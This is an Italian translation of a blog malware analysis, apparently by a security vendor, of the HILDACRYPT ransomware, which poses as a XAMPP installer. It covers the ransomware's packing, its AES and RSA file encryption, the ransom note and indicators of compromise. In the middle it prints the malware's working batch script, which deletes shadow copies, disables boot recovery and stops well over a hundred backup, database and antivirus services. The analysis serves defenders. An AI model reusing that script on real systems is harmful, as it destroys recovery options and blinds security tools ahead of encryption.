Ciao, Habr! Torniamo a parlare delle ultime versioni di malware della categoria Ransomware. HILDACRYPT è un nuovo ransomware, appartenente alla famiglia Hilda, scoperta nell'agosto 2019, chiamata così in onore di un cartone animato del servizio di streaming Netflix, utilizzato per diffondere questo software. Oggi esploriamo le caratteristiche tecniche di questo virus ransomware aggiornato.

Nella prima versione dei ransomware Hilda, il link al trailer ospitato su Youtube della serie animata era incluso nella lettera di riscatto. HILDACRYPT, invece, si maschera da legittimo installer XAMPP — una distribuzione facile da installare di Apache, che include MariaDB, PHP e Perl. Inoltre, il file del ransomware ha un nome diverso — xamp. Inoltre, il file del programma ransomware non ha una firma digitale.
Analisi statica
Il ransomware è contenuto in un file PE32 .NET, scritto per MS Windows. La sua dimensione è di 135 168 byte. Sia il codice principale che il codice del protector sono scritti in C#. Secondo la data e l'ora della compilazione, il file binario è stato creato il 14 settembre 2019.

Secondo Detect It Easy, il ransomware è stato compresso utilizzando Confuser e ConfuserEx, ma questi offuscatori rimangono simili a prima, solo che ConfuserEx è il successore di Confuser, quindi le firme dei loro codici sono analoghe.

HILDACRYPT è effettivamente impacchettato con ConfuserEx.

SHA-256: 7b0dcc7645642c141deb03377b451d3f873724c254797e3578ef8445a38ece8a
Vettore di attacco
Probabilmente, il ransomware è stato trovato su uno dei siti dedicati alla programmazione web, mascherandosi da legittimo software XAMPP.
L'intera catena di infezione può essere vista in .
Offuscamento
Le stringhe del ransomware sono memorizzate in forma crittografata. Quando viene eseguito, HILDACRYPT le decifra utilizzando Base64 e AES-256-CBC.

Installazione
Prima di tutto, il ransomware crea nella cartella %AppDataRoaming% una cartella con un GUID (Globally Unique Identifier) generato casualmente. Aggiungendo un file bat a questa posizione, il ransomware lo avvia tramite cmd.exe:
cmd.exe /c JKfgkgj3hjgfhjka.bat & exit
![]()

Successivamente, inizia l'esecuzione di uno script batch per disabilitare le funzioni di sistema o i servizi.

Lo script contiene un lungo elenco di comandi che distruggono le copie shadow, disabilitano il server SQL, il backup e le soluzioni antivirus.
Ad esempio, tenta senza successo di fermare i servizi di backup di Acronis Backup. Inoltre, attacca i sistemi di backup e le soluzioni antivirus dei seguenti fornitori: Veeam, Sophos, Kaspersky, McAfee e altri.
@echo off
:: Non sono un grande fan dei pony, le ragazze cartoon sono migliori, non credi?
vssadmin resize shadowstorage /for=c: /on=c: /maxsize=401MB
vssadmin resize shadowstorage /for=c: /on=c: /maxsize=unbounded
vssadmin resize shadowstorage /for=d: /on=d: /maxsize=401MB
vssadmin resize shadowstorage /for=d: /on=d: /maxsize=unbounded
vssadmin resize shadowstorage /for=e: /on=e: /maxsize=401MB
vssadmin resize shadowstorage /for=e: /on=e: /maxsize=unbounded
vssadmin resize shadowstorage /for=f: /on=f: /maxsize=401MB
vssadmin resize shadowstorage /for=f: /on=f: /maxsize=unbounded
vssadmin resize shadowstorage /for=g: /on=g: /maxsize=401MB
vssadmin resize shadowstorage /for=g: /on=g: /maxsize=unbounded
vssadmin resize shadowstorage /for=h: /on=h: /maxsize=401MB
vssadmin resize shadowstorage /for=h: /on=h: /maxsize=unbounded
bcdedit /set {default} recoveryenabled No
bcdedit /set {default} bootstatuspolicy ignoreallfailures
vssadmin Delete Shadows /all /quiet
net stop SQLAgent$SYSTEM_BGC /y
net stop “Sophos Device Control Service” /y
net stop macmnsvc /y
net stop SQLAgent$ECWDB2 /y
net stop “Zoolz 2 Service” /y
net stop McTaskManager /y
net stop “Sophos AutoUpdate Service” /y
net stop “Sophos System Protection Service” /y
net stop EraserSvc11710 /y
net stop PDVFSService /y
net stop SQLAgent$PROFXENGAGEMENT /y
net stop SAVService /y
net stop MSSQLFDLauncher$TPSAMA /y
net stop EPSecurityService /y
net stop SQLAgent$SOPHOS /y
net stop “Symantec System Recovery” /y
net stop Antivirus /y
net stop SstpSvc /y
net stop MSOLAP$SQL_2008 /y
net stop TrueKeyServiceHelper /y
net stop sacsvr /y
net stop VeeamNFSSvc /y
net stop FA_Scheduler /y
net stop SAVAdminService /y
net stop EPUpdateService /y
net stop VeeamTransportSvc /y
net stop “Sophos Health Service” /y
net stop bedbg /y
net stop MSSQLSERVER /y
net stop KAVFS /y
net stop Smcinst /y
net stop MSSQLServerADHelper100 /y
net stop TmCCSF /y
net stop wbengine /y
net stop SQLWriter /y
net stop MSSQLFDLauncher$TPS /y
net stop SmcService /y
net stop ReportServer$TPSAMA /y
net stop swi_update /y
net stop AcrSch2Svc /y
net stop MSSQL$SYSTEM_BGC /y
net stop VeeamBrokerSvc /y
net stop MSSQLFDLauncher$PROFXENGAGEMENT /y
net stop VeeamDeploymentService /y
net stop SQLAgent$TPS /y
net stop DCAgent /y
net stop “Sophos Message Router” /y
net stop MSSQLFDLauncher$SBSMONITORING /y
net stop wbengine /y
net stop MySQL80 /y
net stop MSOLAP$SYSTEM_BGC /y
net stop ReportServer$TPS /y
net stop MSSQL$ECWDB2 /y
net stop SntpService /y
net stop SQLSERVERAGENT /y
net stop BackupExecManagementService /y
net stop SMTPSvc /y
net stop mfefire /y
net stop BackupExecRPCService /y
net stop MSSQL$VEEAMSQL2008R2 /y
net stop klnagent /y
net stop MSExchangeSA /y
net stop MSSQLServerADHelper /y
net stop SQLTELEMETRY /y
net stop “Sophos Clean Service” /y
net stop swi_update_64 /y
net stop “Sophos Web Control Service” /y
net stop EhttpSrv /y
net stop POP3Svc /y
net stop MSOLAP$TPSAMA /y
net stop McAfeeEngineService /y
net stop “Veeam Backup Catalog Data Service” /
et stop MSSQL$SBSMONITORING /y
net stop ReportServer$SYSTEM_BGC /y
net stop AcronisAgent /y
net stop KAVFSGT /y
net stop BackupExecDeviceMediaService /y
net stop MySQL57 /y
net stop McAfeeFrameworkMcAfeeFramework /y
net stop TrueKey /y
net stop VeeamMountSvc /y
net stop MsDtsServer110 /y
net stop SQLAgent$BKUPEXEC /y
net stop UI0Detect /y
net stop ReportServer /y
net stop SQLTELEMETRY$ECWDB2 /y
net stop MSSQLFDLauncher$SYSTEM_BGC /y
net stop MSSQL$BKUPEXEC /y
net stop SQLAgent$PRACTTICEBGC /y
net stop MSExchangeSRS /y
net stop SQLAgent$VEEAMSQL2008R2 /y
net stop McShield /y
net stop SepMasterService /y
net stop “Sophos MCS Client” /y
net stop VeeamCatalogSvc /y
net stop SQLAgent$SHAREPOINT /y
net stop NetMsmqActivator /y
net stop kavfsslp /y
net stop tmlisten /y
net stop ShMonitor /y
net stop MsDtsServer /y
net stop SQLAgent$SQL_2008 /y
net stop SDRSVC /y
net stop IISAdmin /y
net stop SQLAgent$PRACTTICEMGT /y
net stop BackupExecJobEngine /y
net stop SQLAgent$VEEAMSQL2008R2 /y
net stop BackupExecAgentBrowser /y
net stop VeeamHvIntegrationSvc /y
net stop masvc /y
net stop W3Svc /y
net stop “SQLsafe Backup Service” /y
net stop SQLAgent$CXDB /y
net stop SQLBrowser /y
net stop MSSQLFDLauncher$SQL_2008 /y
net stop VeeamBackupSvc /y
net stop “Sophos Safestore Service” /y
net stop svcGenericHost /y
net stop ntrtscan /y
net stop SQLAgent$VEEAMSQL2012 /y
net stop MSExchangeMGMT /y
net stop SamSs /y
net stop MSExchangeES /y
net stop MBAMService /y
net stop EsgShKernel /y
net stop ESHASRV /y
net stop MSSQL$TPSAMA /y
net stop SQLAgent$CITRIX_METAFRAME /y
net stop VeeamCloudSvc /y
net stop “Sophos File Scanner Service” /y
net stop “Sophos Agent” /y
net stop MBEndpointAgent /y
net stop swi_service /y
net stop MSSQL$PRACTICEMGT /y
net stop SQLAgent$TPSAMA /y
net stop McAfeeFramework /y
net stop “Enterprise Client Service” /y
net stop SQLAgent$SBSMONITORING /y
net stop MSSQL$VEEAMSQL2012 /y
net stop swi_filter /y
net stop SQLSafeOLRService /y
net stop BackupExecVSSProvider /y
net stop VeeamEnterpriseManagerSvc /y
net stop SQLAgent$SQLEXPRESS /y
net stop OracleClientCache80 /y
net stop MSSQL$PROFXENGAGEMENT /y
net stop IMAP4Svc /y
net stop ARSM /y
net stop MSExchangeIS /y
net stop AVP /y
net stop MSSQLFDLauncher /y
net stop MSExchangeMTA /y
net stop TrueKeyScheduler /y
net stop MSSQL$SOPHOS /y
net stop “SQL Backups” /y
net stop MSSQL$TPS /y
net stop mfemms /y
net stop MsDtsServer100 /y
net stop MSSQL$SHAREPOINT /y
net stop WRSVC /y
net stop mfevtp /y
net stop msftesql$PROD /y
net stop mozyprobackup /y
net stop MSSQL$SQL_2008 /y
net stop SNAC /y
net stop ReportServer$SQL_2008 /y
net stop BackupExecAgentAccelerator /y
net stop MSSQL$SQLEXPRESS /y
net stop MSSQL$PRACTTICEBGC /y
net stop VeeamRESTSvc /y
net stop sophossps /y
net stop ekrn /y
net stop MMS /y
net stop “Sophos MCS Agent” /y
net stop RESvc /y
net stop “Acronis VSS Provider” /y
net stop MSSQL$VEEAMSQL2008R2 /y
net stop MSSQLFDLauncher$SHAREPOINT /y
net stop “SQLsafe Filter Service” /y
net stop MSSQL$PROD /y
net stop SQLAgent$PROD /y
net stop MSOLAP$TPS /y
net stop VeeamDeploySvc /y
net stop MSSQLServerOLAPService /y
del %0
Dopo che i servizi e processi menzionati sopra sono disattivati, il cryptolocker raccoglie informazioni su tutti i processi in esecuzione utilizzando il comando tasklist, per assicurarsi che tutti i servizi necessari siano non funzionanti.
tasklist v /fo csv
Questo comando produce un elenco dettagliato dei processi in esecuzione, i cui elementi sono separati dal carattere «,».
««csrss.exe»,«448»,«servizi»,«0»,«1�896 ��»,«sconosciuto»,»�/�»,«0:00:03»,»�/�»»

Dopo questa verifica, il ransomware inizia il processo di crittografia.
Crittografia
Crittografia dei file
HILDACRYPT scorre tutto il contenuto trovato nei dischi rigidi, eccetto le cartelle Recycle.Bin e Reference AssembliesMicrosoft. Quest'ultima contiene file critici come dll, pdb, ecc. per le applicazioni .Net, che potrebbero influenzare il funzionamento del ransomware. Per cercare i file da crittografare, viene utilizzato il seguente elenco di estensioni:
«.vb:.asmx:.config:.3dm:.3ds:.3fr:.3g2:.3gp:.3pr:.7z:.ab4:.accdb:.accde:.accdr:.accdt:.ach:.acr:.act:.adb:.ads:.agdl:.ai:.ait:.al:.apj:.arw:.asf:.asm:.asp:.aspx:.asx:.avi:.awg:.back:.backup:.backupdb:.bak:.lua:.m:.m4v:.max:.mdb:.mdc:.mdf:.mef:.mfw:.mmw:.moneywell:.mos:.mov:.mp3:.mp4:.mpg:.mpeg:.mrw:.msg:.myd:.nd:.ndd:.nef:.nk2:.nop:.nrw:.ns2:.ns3:.ns4:.nsd:.nsf:.nsg:.nsh:.nwb:.nx2:.nxl:.nyf:.tif:.tlg:.txt:.vob:.wallet:.war:.wav:.wb2:.wmv:.wpd:.wps:.x11:.x3f:.xis:.xla:.xlam:.xlk:.xlm:.xlr:.xls:.xlsb:.xlsm:.xlsx:.xlt:.xltm:.xltx:.xlw:.xml:.ycbcra:.yuv:.zip:.sqlite:.sqlite3:.sqlitedb:.sr2:.srf:.srt:.srw:.st4:.st5:.st6:.st7:.st8:.std:.sti:.stw:.stx:.svg:.swf:.sxc:.sxd:.sxg:.sxi:.sxm:.sxw:.tex:.tga:.thm:.tib:.py:.qba:.qbb:.qbm:.qbr:.qbw:.qbx:.qby:.r3d:.raf:.rar:.rat:.raw:.rdb:.rm:.rtf:.rw2:.rwl:.rwz:.s3db:.sas7bdat:.say:.sd0:.sda:.sdf:.sldm:.sldx:.sql:.pdd:.pdf:.pef:.pem:.pfx:.php:.php5:.phtml:.pl:.plc:.png:.pot:.potm:.potx:.ppam:.pps:.ppsm:.ppsx:.ppt:.pptm:.pptx:.prf:.ps:.psafe3:.psd:.pspimage:.pst:.ptx:.oab:.obj:.odb:.odc:.odf:.odg:.odm:.odp:.ods:.odt:.oil:.orf:.ost:.otg:.oth:.otp:.ots:.ott:.p12:.p7b:.p7c:.pab:.pages:.pas:.pat:.pbl:.pcd:.pct:.pdb:.gray:.grey:.gry:.h:.hbk:.hpp:.htm:.html:.ibank:.ibd:.ibz:.idx:.iif:.iiq:.incpas:.indd:.jar:.java:.jpe:.jpeg:.jpg:.jsp:.kbx:.kc2:.kdbx:.kdc:.key:.kpdx:.doc:.docm:.docx:.dot:.dotm:.dotx:.drf:.drw:.dtd:.dwg:.dxb:.dxf:.dxg:.eml:.eps:.erbsql:.erf:.exf:.fdb:.ffd:.fff:.fh:.fhd:.fla:.flac:.flv:.fmb:.fpx:.fxg:.cpp:.cr2:.craw:.crt:.crw:.cs:.csh:.csl:.csv:.dac:.bank:.bay:.bdb:.bgt:.bik:.bkf:.bkp:.blend:.bpw:.c:.cdf:.cdr:.cdr3:.cdr4:.cdr5:.cdr6:.cdrw:.cdx:.ce1:.ce2:.cer:.cfp:.cgm:.cib:.class:.cls:.cmt:.cpi:.ddoc:.ddrw:.dds:.der:.des:.design:.dgc:.djvu:.dng:.db:.db-journal:.db3:.dcr:.dcs:.ddd:.dbf:.dbx:.dc2:.pbl:.csproj:.sln:.vbproj:.mdb:.md»
Per la crittografia dei file dell'utente, il ransomware utilizza l'algoritmo AES-256-CBC. La dimensione della chiave è di 256 bit, mentre la dimensione del vettore di inizializzazione (IV) è di 16 byte.

Nello screenshot seguente, i valori byte_2 e byte_1 sono stati ottenuti in modo casuale utilizzando GetBytes().

Chiave

VI

Il file crittografato ha l'estensione HCY!.. Questo è un esempio di file crittografato. Per questo file sono state generate la chiave e l'IV sopra menzionati.

Crittografia delle chiavi
Il cryptolocker memorizza la chiave AES generata nel file crittografato. La prima parte del file crittografato ha un'intestazione che contiene dati come HILDACRYPT, KEY, IV, FileLen in formato XML e appare nel modo seguente:

La crittografia della chiave AES e dell'IV avviene tramite RSA-2048, mentre la codifica è effettuata tramite Base64. La chiave pubblica RSA è conservata nel corpo del cryptolocker in una delle stringhe criptate in formato XML.
28guEbzkzciKg3N/ExUq8jGcshuMSCmoFsh/3LoMyWzPrnfHGhrgotuY/cs+eSGABQ+rs1B+MMWOWvqWdVpBxUgzgsgOgcJt7P+r4bWhfccYeKDi7PGRtZuTv+XpmG+m+u/JgerBM1Fi49+0vUMuEw5a1sZ408CvFapojDkMT0P5cJGYLSiVFud8reV7ZtwcCaGf88rt8DAUt2iSZQix0aw8PpnCH5/74WE8dAHKLF3sYmR7yFWAdCJRovzdx8/qfjMtZ41sIIIEyajVKfA18OT72/UBME2gsAM/BGii2hgLXP5ZGKPgQEf7Zpic1fReZcpJonhNZzXztGCSLfa/jQ==AQAB
Per la crittografia della chiave del file AES viene utilizzata la chiave pubblica RSA. La chiave pubblica RSA è codificata in Base64 e consiste nel modulo e nell'esponente pubblico 65537. Per la decrittazione è necessaria la chiave privata RSA, in possesso dell'attaccante.
Dopo la crittografia RSA, la chiave AES viene codificata usando Base64, salvata in un file cifrato.
Messaggio di riscatto
Al termine della crittografia, HILDACRYPT registra un file html nella cartella in cui ha cifrato i file. La notifica del programma ransomware contiene due indirizzi email tramite cui la vittima può contattare l'autore.
- hildalolilovesyou@airmail.cc
hildalolilovesyou@memeware.net

La notifica del ransomware contiene anche la frase «No loli is safe;)» — «Nessuna loli è al sicuro;)», un riferimento ai personaggi di anime e manga con l'aspetto di bambine, vietati in Giappone.
Risultato
HILDACRYPT, una nuova famiglia di ransomware, ha rilasciato una nuova versione. Il modello di crittografia non consente alla vittima di decrittografare i file cifrati dal ransomware. Il cryptolocker utilizza metodi di protezione attiva per disabilitare i servizi di protezione legati ai sistemi di backup e alle soluzioni antivirus. L'autore di HILDACRYPT è un fan della serie animata Hilda, mostrata su Netflix, il cui trailer era incluso nella lettera di riscatto della versione precedente del programma.
Come al solito, e possono proteggere il tuo computer da ransomware HILDACRYPT, mentre i provider hanno la possibilità di tutelare i propri clienti attraverso . La protezione è garantita dalla combinazione di queste soluzioni che include non solo il backup, ma anche il nostro sistema integrato di protezione – potenziato da un modello di apprendimento automatico e che si basa su tecnologie di heuristica comportamentale, in grado di affrontare le minacce dei ransomware zero-day come nessun altro.
Indicatori di compromissione
Estensione del file HCY!
HILDACRYPTReadMe.html
xamp.exe con una lettera «p» e senza firma digitale
SHA-256: 7b0dcc7645642c141deb03377b451d3f873724c254797e3578ef8445a38ece8a
Fonte: habr.com
